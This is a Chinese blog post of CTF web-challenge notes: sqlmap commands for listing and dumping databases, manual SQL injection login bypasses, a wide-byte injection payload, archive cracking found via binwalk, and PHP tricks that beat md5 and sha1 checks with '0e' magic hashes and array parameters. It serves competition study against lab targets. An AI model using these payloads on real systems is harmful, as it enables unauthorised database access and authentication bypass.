CTF_Web_SQL注入常用命令

最新推荐文章于 2024-05-13 18:57:47 发布

Yulia...

最新推荐文章于 2024-05-13 18:57:47 发布

阅读量700

点赞数 23

文章标签：前端 sql 数据库 http 网络安全 web安全

本文链接：https://blog.csdn.net/weixin_69026383/article/details/137169501

版权

CTF_Web_SQL注入常用命令

本人周日参加比赛，临时抱佛脚把书上涉及到的内容进行简单的收录整理。

SQL注入

http://1.1.1.1:8000/sqli/Less-1/index.php?id=1

http://1.1.1.1:8000/sqli/Less-1/index.php?id=1'

kali中

sqlmap -u "http://1.1.1.1:8000/sqli/Less-1/index.php?id=1" --current-db

--current-db判断当前数据库名称

-D 数据库名称 --tables 判断数据库中数据表名称

-D 数据库名称 -T 数据表名称 --columns 判断表中字段名称

D 数据库名称 -T 数据表名称 -C 字段名称 --dump 将字段值抓出来

打开登陆界面，尝试输入'or 1=1，得到报错提示。

you have an error in your sql syntax;check the manual that corresponds to your MySQL server version for the right sysntax to use near "and password=123" at line 1

说明后台sql语句中对于参数的引用使用了单引号。输入admin' or 1=1#，密码随意。

继续注入，输入admin'order by 3返回正确页面，输入admin'order by 4会报错，可知该数据库表中有三列。接下来判断数据库名称、表中名称、字段名称和flag值

登录页面→输入账户admin，密码随意，提示登录失败→输入admin'or 1=1#，密码随意，获得报错反馈→check the manual that corresponds to your MySQL server versionfor the right syntax to use near '1=1#' and password='111' at line 1→输入的or字符被过滤了，#没有被过滤。→使用admin' #注入

打开题目发现是一张图片，通过查看源代码、御剑工具扫描没有发现备份日志文件存在→将图片保存本地，在kali中使用binwalk进行分析

～/Desktop# binwalk xxx.bmp（xxx.bmp为图片名称）

→通过分析可以看到该BMP格式图片由一个压缩文件改成，将其拓展名改为.zip→打开需要密码，可以使用WinRAR修复后，ARCHPR进行破解→成功破解打开文件，提示内容要求输入账户密码

http://1.1.1.1:8000/web/web24/index.php?username=admin&password=123

用户名后加上%df'测试→%df被合并→此题有关宽字节注入→根据报错提示

http://1.1.1.1:8000/web/web24/index.php?username=admin&password=123%df' or 1%23

输入上述参数可绕过过滤限制得到flag结果

代码审计

★md5()函数的漏洞

PHP在处理哈希字符串时会利用!=或==对哈希值进行比较，它把每一个以0E开头的哈希值都解释为0，如果两个不同的变量经过哈希后，其值都是以0E开头，那么PHP将认为他们是相同的（都是0）

★shal函数的特性

通过源代码，并根据提示找到备份文件index.php查看代码→要求name和password两个参数值本身不相等，却要求经过shal（）函数处理后的值相等。→可以构造两个参数都是数组类型的变量值代入以改变参数的类型是的函数在处理数组对象时报错，由于对于两个不同的数组处理后的结果肯定是一样的，因为可达到绕过的目的。

完整的绕过参数如下：

name[]=1&password[]=2